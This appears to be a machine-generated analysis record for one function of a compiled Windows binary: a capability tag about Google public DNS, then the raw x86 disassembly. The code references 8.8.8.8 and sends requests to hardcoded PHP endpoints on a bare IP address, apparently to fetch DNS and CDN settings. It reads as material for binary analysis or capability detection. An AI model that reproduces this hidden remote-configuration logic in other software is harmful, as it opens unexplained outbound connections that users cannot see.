Function at 0x4ae1e9
Capabilities:
Reference google public dns server

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov dword [ebp - 4], 0
push 0x14
call fcn.00515ee9
add esp, 4
mov dword [ebp - 8], eax
mov ebx, eax
mov edi, eax
xor eax, eax
mov ecx, 5
rep stosd dword es:[edi], eax
add ebx, 0x10
push ebx
push 0xc
call fcn.00515ee9
add esp, 4
pop ebx
mov dword [ebx], eax
mov edi, eax
mov esi, 0xc783e3
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
push ebx
mov ebx, edi
mov ecx, 1
push ecx
push ebx
push 0xc
call fcn.00515ee9
add esp, 4
pop ebx
push ebx
mov dword [ebx], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
mov dword [ebx + 8], 0
pop ebx
pop ecx
add ebx, 4
dec ecx
jne 0x4ae23d
pop ebx
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, str.8.8.8.8
push eax
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4ae29a
push ebx
call fcn.00515eef
add esp, 4
pop eax
mov dword [ebp - 4], eax
push 0x65d6b8
push dword [ebp - 4]
call fcn.0040102b
add esp, 8
cmp eax, 0
jne 0x4ae2bc
jmp 0x4aeb4b
push dword [ebp - 4]
push str.http:__120.24.79.99_updns.php_dns
mov ecx, 2
call fcn.0040113b
add esp, 8
mov dword [ebp - 0x18], eax
push 8
call fcn.00515ee9
add esp, 4
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x24], 0
push 0
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x28], 0
push 0
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
mov dword [ebp - 0x50], 0
push 0
lea eax, [ebp - 0x50]
push eax
mov dword [ebp - 0x54], 0
push 0
push dword [ebp - 0x54]
lea eax, [ebp - 0x18]
push eax
call fcn.0040759d
mov ebx, eax
test ebx, ebx
je 0x4ae3c3
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4ae3d3
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x4ae3e3
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4ae3f3
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4ae403
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x4ae413
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x4ae423
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4ae433
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4ae443
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4ae453
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4ae463
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4ae473
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x51be00
call fcn.00515f01
add esp, 0x10
call fcn.00515eef
add esp, 4
mov dword [ebp - 0x18], 0
push 0
push dword [ebp - 0x18]
push 1
lea eax, [ebp - 4]
push eax
mov eax, 0xb60ab3
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x1c]
push eax
call fcn.0040f826
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4ae4cf
push ebx
call fcn.00515eef
add esp, 4
mov eax, dword [ebp - 0x20]
push eax
mov ebx, dword [ebp - 8]
push ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4ae4ea
push ebx
call fcn.00515eef
add esp, 4
pop ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4ae50c
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4ae508
imul eax, dword [ebx]
jmp 0x4ae4fd
mov ecx, eax
test ecx, ecx
je 0x4ae53b
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4ae52a
push ebx
call fcn.00515eef
add esp, 4
pop ebx
call fcn.00515eef
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4ae512
call fcn.00515eef
add esp, 4
pop ebx
call fcn.00515eef
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
add ebx, 0x10
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov ebx, dword [ebx]
call fcn.004074d8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
xor ecx, ecx
push eax
lea eax, [ebp - 0x10]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4ae6b0
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 0x10]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 0x10]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
cmp word [ebx], 1
jne 0x4ae6a8
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 0x10]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 0x10]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x18], ebx
push 0xc282fe
mov ebx, dword [ebp - 0x18]
push dword [ebx]
mov ecx, 2
call fcn.0040113b
add esp, 8
mov dword [ebp - 0x1c], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x4ae60e
mov eax, 0x65d6b8
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x4ae622
mov eax, 0x65d6b8
push eax
push 4
mov ebx, 0x516de0
call fcn.00515f01
add esp, 0x34
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4ae648
push ebx
call fcn.00515eef
add esp, 4
cmp dword [ebp - 0x20], 0xffffffff
jne 0x4ae6a8
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 0x10]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 0x10]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x18], ebx
push 0xc282fe
mov ebx, dword [ebp - 0x18]
push dword [ebx]
push dword [ebp - 0x14]
mov ecx, 3
call fcn.0040113b
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4ae6a4
push ebx
call fcn.00515eef
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
pop eax
pop ebx
pop ecx
jmp 0x4ae572
add esp, 0xc
push 1
push 1
push 1
lea eax, [ebp - 4]
push eax
mov eax, 0xb60ab3
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x18]
push eax
call fcn.0040f826
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4ae6e7
push ebx
call fcn.00515eef
add esp, 4
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 8]
push ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4ae702
push ebx
call fcn.00515eef
add esp, 4
pop ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4ae724
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4ae720
imul eax, dword [ebx]
jmp 0x4ae715
mov ecx, eax
test ecx, ecx
je 0x4ae753
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4ae742
push ebx
call fcn.00515eef
add esp, 4
pop ebx
call fcn.00515eef
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4ae72a
call fcn.00515eef
add esp, 4
pop ebx
call fcn.00515eef
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov ebx, dword [ebp - 8]
add ebx, 0x10
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
mov ebx, dword [ebx]
call fcn.004074d8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
xor ecx, ecx
push eax
lea eax, [ebp - 0x10]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x4ae8c8
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 0x10]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 0x10]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 8
mov dword [ebp - 0x18], ebx
mov ebx, dword [ebp - 0x18]
cmp word [ebx], 1
jne 0x4ae8c0
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 0x10]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 0x10]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x18], ebx
push 0xc282fe
mov ebx, dword [ebp - 0x18]
push dword [ebx]
mov ecx, 2
call fcn.0040113b
add esp, 8
mov dword [ebp - 0x1c], eax
push reloc.OLEAUT32.dll_SysReAllocString
push 0
push 0
push 0
push 0
push 0
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x1c]
test eax, eax
jne 0x4ae826
mov eax, 0x65d6b8
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x4ae83a
mov eax, 0x65d6b8
push eax
push 4
mov ebx, 0x516de0
call fcn.00515f01
add esp, 0x34
mov dword [ebp - 0x20], eax
mov ebx, dword [ebp - 0x1c]
test ebx, ebx
je 0x4ae860
push ebx
call fcn.00515eef
add esp, 4
cmp dword [ebp - 0x20], 0xffffffff
jne 0x4ae8c0
mov ebx, dword [ebp - 8]
mov ebx, dword [ebx + 0x10]
mov ecx, dword [ebx]
inc ecx
shl ecx, 2
add ebx, ecx
push ebx
mov eax, dword [ebp - 0x10]
dec eax
pop ebx
shl eax, 2
add ebx, eax
mov ebx, dword [ebx]
add ebx, 4
mov dword [ebp - 0x18], ebx
push 0xc282fe
mov ebx, dword [ebp - 0x18]
push dword [ebx]
push dword [ebp - 0x14]
mov ecx, 3
call fcn.0040113b
add esp, 0xc
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4ae8bc
push ebx
call fcn.00515eef
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
pop eax
pop ebx
pop ecx
jmp 0x4ae78a
add esp, 0xc
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x4ae8de
mov eax, 0x65d6b8
push eax
push 1
mov ebx, 0x5165a0
call fcn.00515f01
add esp, 0x10
mov dword [ebp - 0x20], eax
fild dword [ebp - 0x20]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
fsub qword [0xb60b33]
fstp qword [ebp - 0x28]
fld qword [ebp - 0x28]
call fcn.00401004
push 0x80000301
push 0
push eax
push reloc.OLEAUT32.dll_SysReAllocStringLen
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x4ae929
mov eax, 0x65d6b8
push eax
push 2
mov ebx, 0x516af0
call fcn.00515f01
add esp, 0x1c
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4ae953
push ebx
call fcn.00515eef
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push 0x65d6b8
push dword [ebp - 0x14]
call fcn.0040102b
add esp, 8
cmp eax, 0
jne 0x4ae975
jmp 0x4aeb4b
push dword [ebp - 0x14]
push str.cdn
mov ecx, 2
call fcn.0040113b
add esp, 8
mov dword [ebp - 0x18], eax
push 8
call fcn.00515ee9
add esp, 4
mov dword [ebp - 0x1c], eax
mov ebx, eax
mov dword [ebx], 0
mov dword [ebx + 4], 0
push 0
lea eax, [ebp - 0x1c]
push eax
mov dword [ebp - 0x20], 0
push 0
push dword [ebp - 0x20]
mov dword [ebp - 0x24], 0
push 0
lea eax, [ebp - 0x24]
push eax
mov dword [ebp - 0x28], 0
push 0
lea eax, [ebp - 0x28]
push eax
mov dword [ebp - 0x2c], 0
push 0
push dword [ebp - 0x2c]
mov dword [ebp - 0x30], 0
push 0
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x34], 0
push 0
lea eax, [ebp - 0x34]
push eax
mov dword [ebp - 0x38], 0
push 0
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x3c], 0
push 0
push dword [ebp - 0x3c]
mov dword [ebp - 0x40], 0
push 0
lea eax, [ebp - 0x40]
push eax
mov dword [ebp - 0x44], 0
push 0
lea eax, [ebp - 0x44]
push eax
mov dword [ebp - 0x48], 0
push 0
lea eax, [ebp - 0x48]
push eax
mov dword [ebp - 0x4c], 0
push 0
lea eax, [ebp - 0x4c]
push eax
push 1
lea eax, [ebp - 0x18]
push eax
push 1
push 1
mov eax, str.http:__120.24.79.99_upnewcdn.php
mov dword [ebp - 0x50], eax
lea eax, [ebp - 0x50]
push eax
call fcn.0040759d
mov ebx, eax
test ebx, ebx
je 0x4aea78
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x4aea88
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x18]
test ebx, ebx
je 0x4aea98
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x4aeaa8
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x4aeab8
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x4aeac8
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x4aead8
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x4aeae8
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x4aeaf8
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x30]
test ebx, ebx
je 0x4aeb08
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x28]
test ebx, ebx
je 0x4aeb18
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x24]
test ebx, ebx
je 0x4aeb28
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x1c]
push ebx
push 0x10030
push 0
push ebx
push 1
mov ebx, 0x51be00
call fcn.00515f01
add esp, 0x10
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x4aeb5b
push ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 8]
push ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4aeb72
push ebx
call fcn.00515eef
add esp, 4
pop ebx
add ebx, 8
push ebx
mov ebx, dword [ebx]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x4aeb94
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x4aeb90
imul eax, dword [ebx]
jmp 0x4aeb85
mov ecx, eax
test ecx, ecx
je 0x4aebc3
push ecx
push ebx
mov ebx, dword [ebx]
push ebx
add ebx, 4
push ebx
mov ebx, dword [ebx]
test ebx, ebx
je 0x4aebb2
push ebx
call fcn.00515eef
add esp, 4
pop ebx
call fcn.00515eef
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x4aeb9a
call fcn.00515eef
add esp, 4
pop ebx
call fcn.00515eef
add esp, 4
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x4aebe4
push ebx
call fcn.00515eef
add esp, 4
mov esp, ebp
pop ebp
ret